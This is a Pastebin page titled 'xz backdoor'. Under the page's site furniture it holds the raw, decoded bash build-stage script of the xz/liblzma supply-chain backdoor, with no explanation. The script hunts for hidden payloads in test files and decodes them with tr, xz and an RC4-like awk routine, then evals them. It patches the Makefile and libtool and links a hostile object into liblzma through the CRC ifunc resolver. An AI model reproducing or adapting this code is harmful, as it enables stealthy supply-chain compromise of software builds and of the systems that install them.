API tools faq
paste
Advertisement
teknoraver

xz backdoor

teknoraver
Apr 4th, 2024
610
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 9.59 KB | None | 0 0
raw download clone embed print report
  1. P="-fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections"
  2. C="pic_flag=\" $P\""
  3. O="^pic_flag=\" -fPIC -DPIC\"$"
  4. R="is_arch_extension_supported"
  5. x="__get_cpuid("
  6. p="good-large_compressed.lzma"
  7. U="bad-3-corrupt_lzma2.xz"
  8. [ ! $(uname)="Linux" ] && exit 0
  9. eval $zrKcVq
  10. if test -f config.status; then
  11. eval $zrKcSS
  12. eval `grep ^LD=\'\/ config.status`
  13. eval `grep ^CC=\' config.status`
  14. eval `grep ^GCC=\' config.status`
  15. eval `grep ^srcdir=\' config.status`
  16. eval `grep ^build=\'x86_64 config.status`
  17. eval `grep ^enable_shared=\'yes\' config.status`
  18. eval `grep ^enable_static=\' config.status`
  19. eval `grep ^gl_path_map=\' config.status`
  20. vs=`grep -broaF '~!:_ W' $srcdir/tests/files/ 2>/dev/null`
  21. if test "x$vs" != "x" > /dev/null 2>&1;then
  22. f1=`echo $vs | cut -d: -f1`
  23. if test "x$f1" != "x" > /dev/null 2>&1;then
  24. start=`expr $(echo $vs | cut -d: -f2) + 7`
  25. ve=`grep -broaF '|_!{ -' $srcdir/tests/files/ 2>/dev/null`
  26. if test "x$ve" != "x" > /dev/null 2>&1;then
  27. f2=`echo $ve | cut -d: -f1`
  28. if test "x$f2" != "x" > /dev/null 2>&1;then
  29. [ ! "x$f2" = "x$f1" ] && exit 0
  30. [ ! -f $f1 ] && exit 0
  31. end=`expr $(echo $ve | cut -d: -f2) - $start`
  32. eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc`
  33. fi
  34. fi
  35. fi
  36. fi
  37. eval $zrKccj
  38. if ! grep -qs '\["HAVE_FUNC_ATTRIBUTE_IFUNC"\]=" 1"' config.status > /dev/null 2>&1;then
  39. exit 0
  40. fi
  41. if ! grep -qs 'define HAVE_FUNC_ATTRIBUTE_IFUNC 1' config.h > /dev/null 2>&1;then
  42. exit 0
  43. fi
  44. if test "x$enable_shared" != "xyes";then
  45. exit 0
  46. fi
  47. if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then
  48. exit 0
  49. fi
  50. if ! grep -qs "$R()" $srcdir/src/liblzma/check/crc64_fast.c > /dev/null 2>&1; then
  51. exit 0
  52. fi
  53. if ! grep -qs "$R()" $srcdir/src/liblzma/check/crc32_fast.c > /dev/null 2>&1; then
  54. exit 0
  55. fi
  56. if ! grep -qs "$R" $srcdir/src/liblzma/check/crc_x86_clmul.h > /dev/null 2>&1; then
  57. exit 0
  58. fi
  59. if ! grep -qs "$x" $srcdir/src/liblzma/check/crc_x86_clmul.h > /dev/null 2>&1; then
  60. exit 0
  61. fi
  62. if test "x$GCC" != 'xyes' > /dev/null 2>&1;then
  63. exit 0
  64. fi
  65. if test "x$CC" != 'xgcc' > /dev/null 2>&1;then
  66. exit 0
  67. fi
  68. LDv=$LD" -v"
  69. if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then
  70. exit 0
  71. fi
  72. if ! test -f "$srcdir/tests/files/$p" > /dev/null 2>&1;then
  73. exit 0
  74. fi
  75. if ! test -f "$srcdir/tests/files/$U" > /dev/null 2>&1;then
  76. exit 0
  77. fi
  78. if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then
  79. eval $zrKcst
  80. j="^ACLOCAL_M4 = \$(top_srcdir)\/aclocal.m4"
  81. if ! grep -qs "$j" src/liblzma/Makefile > /dev/null 2>&1;then
  82. exit 0
  83. fi
  84. z="^am__uninstall_files_from_dir = {"
  85. if ! grep -qs "$z" src/liblzma/Makefile > /dev/null 2>&1;then
  86. exit 0
  87. fi
  88. w="^am__install_max ="
  89. if ! grep -qs "$w" src/liblzma/Makefile > /dev/null 2>&1;then
  90. exit 0
  91. fi
  92. E=$z
  93. if ! grep -qs "$E" src/liblzma/Makefile > /dev/null 2>&1;then
  94. exit 0
  95. fi
  96. Q="^am__vpath_adj_setup ="
  97. if ! grep -qs "$Q" src/liblzma/Makefile > /dev/null 2>&1;then
  98. exit 0
  99. fi
  100. M="^am__include = include"
  101. if ! grep -qs "$M" src/liblzma/Makefile > /dev/null 2>&1;then
  102. exit 0
  103. fi
  104. L="^all: all-recursive$"
  105. if ! grep -qs "$L" src/liblzma/Makefile > /dev/null 2>&1;then
  106. exit 0
  107. fi
  108. m="^LTLIBRARIES = \$(lib_LTLIBRARIES)"
  109. if ! grep -qs "$m" src/liblzma/Makefile > /dev/null 2>&1;then
  110. exit 0
  111. fi
  112. u="AM_V_CCLD = \$(am__v_CCLD_\$(V))"
  113. if ! grep -qs "$u" src/liblzma/Makefile > /dev/null 2>&1;then
  114. exit 0
  115. fi
  116. if ! grep -qs "$O" libtool > /dev/null 2>&1;then
  117. exit 0
  118. fi
  119. eval $zrKcTy
  120. b="am__test = $U"
  121. sed -i "/$j/i$b" src/liblzma/Makefile || true
  122. d=`echo $gl_path_map | sed 's/\\\/\\\\\\\\/g'`
  123. b="am__strip_prefix = $d"
  124. sed -i "/$w/i$b" src/liblzma/Makefile || true
  125. b="am__dist_setup = \$(am__strip_prefix) | xz -d 2>/dev/null | \$(SHELL)"
  126. sed -i "/$E/i$b" src/liblzma/Makefile || true
  127. b="\$(top_srcdir)/tests/files/\$(am__test)"
  128. s="am__test_dir=$b"
  129. sed -i "/$Q/i$s" src/liblzma/Makefile || true
  130. h="-Wl,--sort-section=name,-X"
  131. if ! echo "$LDFLAGS" | grep -qs -e "-z,now" -e "-z -Wl,now" > /dev/null 2>&1;then
  132. h=$h",-z,now"
  133. fi
  134. j="liblzma_la_LDFLAGS += $h"
  135. sed -i "/$L/i$j" src/liblzma/Makefile || true
  136. sed -i "s/$O/$C/g" libtool || true
  137. k="AM_V_CCLD = @echo -n \$(LTDEPS); \$(am__v_CCLD_\$(V))"
  138. sed -i "s/$u/$k/" src/liblzma/Makefile || true
  139. l="LTDEPS='\$(lib_LTDEPS)'; \\\\\n\
  140.    export top_srcdir='\$(top_srcdir)'; \\\\\n\
  141.    export CC='\$(CC)'; \\\\\n\
  142.    export DEFS='\$(DEFS)'; \\\\\n\
  143.    export DEFAULT_INCLUDES='\$(DEFAULT_INCLUDES)'; \\\\\n\
  144.    export INCLUDES='\$(INCLUDES)'; \\\\\n\
  145.    export liblzma_la_CPPFLAGS='\$(liblzma_la_CPPFLAGS)'; \\\\\n\
  146.    export CPPFLAGS='\$(CPPFLAGS)'; \\\\\n\
  147.    export AM_CFLAGS='\$(AM_CFLAGS)'; \\\\\n\
  148.    export CFLAGS='\$(CFLAGS)'; \\\\\n\
  149.    export AM_V_CCLD='\$(am__v_CCLD_\$(V))'; \\\\\n\
  150.    export liblzma_la_LINK='\$(liblzma_la_LINK)'; \\\\\n\
  151.    export libdir='\$(libdir)'; \\\\\n\
  152.    export liblzma_la_OBJECTS='\$(liblzma_la_OBJECTS)'; \\\\\n\
  153.    export liblzma_la_LIBADD='\$(liblzma_la_LIBADD)'; \\\\\n\
  154. sed rpath \$(am__test_dir) | \$(am__dist_setup) >/dev/null 2>&1";
  155. sed -i "/$m/i$l" src/liblzma/Makefile || true
  156. eval $zrKcHD
  157. fi
  158. elif (test -f .libs/liblzma_la-crc64_fast.o) && (test -f .libs/liblzma_la-crc32_fast.o); then
  159. vs=`grep -broaF 'jV!.^%' $top_srcdir/tests/files/ 2>/dev/null`
  160. if test "x$vs" != "x" > /dev/null 2>&1;then
  161. f1=`echo $vs | cut -d: -f1`
  162. if test "x$f1" != "x" > /dev/null 2>&1;then
  163. start=`expr $(echo $vs | cut -d: -f2) + 7`
  164. ve=`grep -broaF '%.R.1Z' $top_srcdir/tests/files/ 2>/dev/null`
  165. if test "x$ve" != "x" > /dev/null 2>&1;then
  166. f2=`echo $ve | cut -d: -f1`
  167. if test "x$f2" != "x" > /dev/null 2>&1;then
  168. [ ! "x$f2" = "x$f1" ] && exit 0
  169. [ ! -f $f1 ] && exit 0
  170. end=`expr $(echo $ve | cut -d: -f2) - $start`
  171. eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc`
  172. fi
  173. fi
  174. fi
  175. fi
  176. eval $zrKcKQ
  177. if ! grep -qs "$R()" $top_srcdir/src/liblzma/check/crc64_fast.c; then
  178. exit 0
  179. fi
  180. if ! grep -qs "$R()" $top_srcdir/src/liblzma/check/crc32_fast.c; then
  181. exit 0
  182. fi
  183. if ! grep -qs "$R" $top_srcdir/src/liblzma/check/crc_x86_clmul.h; then
  184. exit 0
  185. fi
  186. if ! grep -qs "$x" $top_srcdir/src/liblzma/check/crc_x86_clmul.h; then
  187. exit 0
  188. fi
  189. if ! grep -qs "$C" ../../libtool; then
  190. exit 0
  191. fi
  192. if ! echo $liblzma_la_LINK | grep -qs -e "-z,now" -e "-z -Wl,now" > /dev/null 2>&1;then
  193. exit 0
  194. fi
  195. if echo $liblzma_la_LINK | grep -qs -e "lazy" > /dev/null 2>&1;then
  196. exit 0
  197. fi
  198. N=0
  199. W=0
  200. Y=`grep "dnl Convert it to C string syntax." $top_srcdir/m4/gettext.m4`
  201. eval $zrKcjv
  202. if test -z "$Y"; then
  203. N=0
  204. W=88664
  205. else
  206. N=88664
  207. W=0
  208. fi
  209. xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' | xz -dc --single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true
  210. if ! test -f liblzma_la-crc64-fast.o; then
  211. exit 0
  212. fi
  213. cp .libs/liblzma_la-crc64_fast.o .libs/liblzma_la-crc64-fast.o || true
  214. V='#endif\n#if defined(CRC32_GENERIC) && defined(CRC64_GENERIC) && defined(CRC_X86_CLMUL) && defined(CRC_USE_IFUNC) && defined(PIC) && (defined(BUILDING_CRC64_CLMUL) || defined(BUILDING_CRC32_CLMUL))\nextern int _get_cpuid(int, void*, void*, void*, void*, void*);\nstatic inline bool _is_arch_extension_supported(void) { int success = 1; uint32_t r[4]; success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3], ((char*) __builtin_frame_address(0))-16); const uint32_t ecx_mask = (1 << 1) | (1 << 9) | (1 << 19); return success && (r[2] & ecx_mask) == ecx_mask; }\n#else\n#define _is_arch_extension_supported is_arch_extension_supported'
  215. eval $yosA
  216. if sed "/return is_arch_extension_supported()/ c\return _is_arch_extension_supported()" $top_srcdir/src/liblzma/check/crc64_fast.c | \
  217. sed "/include \"crc_x86_clmul.h\"/a \\$V" | \
  218. sed "1i # 0 \"$top_srcdir/src/liblzma/check/crc64_fast.c\"" 2>/dev/null | \
  219. $CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS $CFLAGS -r liblzma_la-crc64-fast.o -x c -  $P -o .libs/liblzma_la-crc64_fast.o 2>/dev/null; then
  220. cp .libs/liblzma_la-crc32_fast.o .libs/liblzma_la-crc32-fast.o || true
  221. eval $BPep
  222. if sed "/return is_arch_extension_supported()/ c\return _is_arch_extension_supported()" $top_srcdir/src/liblzma/check/crc32_fast.c | \
  223. sed "/include \"crc32_arm64.h\"/a \\$V" | \
  224. sed "1i # 0 \"$top_srcdir/src/liblzma/check/crc32_fast.c\"" 2>/dev/null | \
  225. $CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS $CFLAGS -r -x c -  $P -o .libs/liblzma_la-crc32_fast.o; then
  226. eval $RgYB
  227. if $AM_V_CCLD$liblzma_la_LINK -rpath $libdir $liblzma_la_OBJECTS $liblzma_la_LIBADD; then
  228. if test ! -f .libs/liblzma.so; then
  229. mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true
  230. mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
  231. fi
  232. rm -fr .libs/liblzma.a .libs/liblzma.la .libs/liblzma.lai .libs/liblzma.so* || true
  233. else
  234. mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true
  235. mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
  236. fi
  237. rm -f .libs/liblzma_la-crc32-fast.o || true
  238. rm -f .libs/liblzma_la-crc64-fast.o || true
  239. else
  240. mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true
  241. mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
  242. fi
  243. else
  244. mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
  245. fi
  246. rm -f liblzma_la-crc64-fast.o || true
  247. fi
  248. eval $DHLd
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!